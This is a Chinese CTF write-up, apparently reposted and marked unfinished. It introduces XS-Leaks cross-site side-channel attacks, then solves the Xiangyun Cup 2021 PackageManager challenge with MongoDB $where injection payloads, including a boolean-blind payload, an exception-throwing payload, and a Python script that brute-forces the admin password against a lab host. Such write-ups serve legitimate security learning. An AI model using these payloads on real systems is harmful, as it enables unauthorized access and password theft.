当前位置:网站首页>XSLeaks 侧信道攻击 (unfinished)
XSLeaks 侧信道攻击 (unfinished)
2022-08-10 22:30:00 【ek1ng】
XSLeaks 侧信道攻击
前置芝士
参考: https://book.hacktricks.xyz/pentesting-web/xs-searchhttps://xsleaks.dev/https://www.scuctf.com/ctfwiki/web/9.xss/xsleaks/https://www.cnblogs.com/starrys/p/15171221.htmlhttps://blog.csdn.net/rfrder/article/details/119914746
在补了近期几场CTF的题后发现2022的SUSCTF和TQLCTF都出了XSLeaks侧信道攻击的题目,虽然没有环境供我去复现题目,但是对于XSLeaks这个知识点还是可以好好研究一下
什么是 XS-Leaks
XS-Leaks 全称 Cross-site leaks,可以用来 探测用户敏感信息。
利用方式、利用条件等都和 csrf 较为相似。
说到探测用户敏感信息,是如何进行探测的?和csrf 相似在哪?
设想网站存在一个模糊查找功能(若前缀匹配则返回对应结果)例如 http://localhost/search?query=
,页面是存在 xss 漏洞,并且有一个类似 flag 的字符串,并且只有不同用户查询的结果集不同。这时你可能会尝试 csrf,但是由于网站正确配置了 CORS,导致无法通过 xss 结合 csrf 获取到具体的响应。这个时候就可以尝试 XS-Leaks。
虽然无法获取响应的内容,但是是否查找成功可以通过一些侧信道来判断。通过哪些侧信道判断呢?
这些侧信道的来源通常有以下几类:
- 浏览器的 api (e.g. Frame Counting and Timing Attacks)
- 浏览器的实现细节和bugs (e.g. Connection Pooling and typeMustMatch)
- 硬件bugs (e.g. Speculative Execution Attacks 4)
通过测信道攻击可以获取到用户隐私信息。
使用条件
具有模糊查找功能,可以构成二元结果(成功或失败),并且二元之间的差异性可以通过某种侧信道技术探测到。
可以和 csrf POST 型一样触发,需要诱使受害者触发执行 js 代码。所以特定功能数据包必须没有类似 csrf token 的保护等。
祥云杯 2021 PackageManager
布尔盲注
这题在BUUOJ上有复现环境
注册登录后发现是个包管理的页面,可以创建自己的包,那么根据源码初始化数据库这一部分,比较显然我们需要登录admin的账号然后admin会有个包里面有flag。
那我们的目标就是找到admin用户的密码
漏洞产生的点是/auth接口,auth接口是用于验证submit package的用户是不是admin用户,然后是需要提交一个admin的token,这个token就是admin用户的密码的md5,我们可以在这里构造一下payload然后爆出password,从而实现admin用户登录。
正则检测的waf没有加^$
,意味着后面可以加or条件,这个很关键
router.post('/auth', async (req, res) => {
let { token } = req.body;
if (token !== '' && typeof (token) === 'string') {
if (checkmd5Regex(token)) {
try {
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
console.log(docs);
if (docs.length == 1) {
if (!(docs[0].isAdmin === true)) {
return res.render('auth', { error: 'Failed to auth' })
}
} else {
return res.render('auth', { error: 'No matching results' })
}
} catch (err) {
return res.render('auth', { error: err })
}
} else {
return res.render('auth', { error: 'Token must be valid md5 string' })
}
} else {
return res.render('auth', { error: 'Parameters error' })
}
req.session.AccessGranted = true
res.redirect('/packages/submit')
});
我们构造token:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[0]=="a
使得括号内的值为
this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" || this.password[0]=="a"
此时只要或条件成立语句就为真,写个脚本就可以爆出密码啦
import requests
import string
url="http://d8ec246d-507e-4aaa-a226-d318473d31ec.node4.buuoj.cn:81/auth"
headers={
"Cookie": "session=s%3Ay8Ne8sPLeY55QXmWPyh3WmPiuoDgOp6y.U3VuzJCBxWcb5AWW8CCkPJqnSmYJ1N9EnHvoR%2BBuGho",
}
flag = ''
for i in range(10000):
for j in string.printable:
if j == '"':
continue
payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j)
data={
"_csrf": "YzvJKLZc-4Sp0gfSn-hIRIF4bUZu0nhXy0HU",
"token": payload
}
r=requests.post(url=url,data=data,headers=headers,allow_redirects=False)
# print(r.text)
if "Found. Redirecting to" in r.text:
print(payload)
flag+=j
print(flag)
break
mongodb异常注入
同样的是对auth接口这里逻辑判断,利用了js的抛出异常和IIFE(立即调用函数表达式)来实现
token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="admin
逻辑判断语句为:this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()!="aaaaa"
这里就是立即执行throw Error(this.password),后面是!=还是== 字符串的值是什么都无所谓,只要是语法没问题然后语句正常执行,这里强制抛出异常,从源码中可以看到抛出的异常会被渲染出来,然后就能够看到password的值
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="admin""`).exec()
console.log(docs);
SUSCTF 2022 ez_note
TQLCTF 2022 A More Secure Pastebin
边栏推荐
猜你喜欢
谁是边缘计算服务的采购者?是这六个关键角色
自学软件测试不知道该如何学起,【软件测试技能图谱|自学测试路线图】
mmpose关键点(一):评价指标(PCK,OKS,mAP)
August 10, 2022: Building Web Applications for Beginners with ASP.NET Core -- Creating Web UIs with ASP.NET Core
基于交流潮流的电力系统多元件N-k故障模型研究(Matlab代码实现)【电力系统故障】
实例054:位取反、位移动
云服务器基于 SSH 协议实现免密登录
常用代码扩展点设计方式
MySQL学习笔记(1)——基础操作
DC-9靶场下载及渗透实战详细过程(DC靶场系列)
随机推荐
计算需要的MIPI lane数目
配电网络扩展规划:考虑使用概率性能源生产和消费概况的决策(Matlab代码实现)
MySQL学习笔记(2)——简单操作
高数_复习_第5章:多元函数微分学
pytorch手撕CNN
学会开会|成为有连接感组织的重要技能
Merge k sorted linked lists
"DevOps Night Talk" - Pilot - Introduction to CNCF Open Source DevOps Project DevStream - feat. PMC member Hu Tao
Glide监听Activity生命周期源码分析
今日睡眠质量记录75分
PyQt5 窗口自适应大小
确诊了!是Druid1.1.20的锅,查询无法映射LocalDateTime类型(带源码解析及解决方案)
RecyclerView滑动监听
阿里云张新涛:支持沉浸式体验应用快速落地,阿里云云XR平台发布
Nodes in the linked list are flipped in groups of k
port forwarding
B站数据分析岗实习生面试记录
LeetCode Daily 2 Questions 02: Reverse the words in a string (1200 each)
虎牙自动发弹幕换牌子
y93.第六章 微服务、服务网格及Envoy实战 -- Envoy配置(四)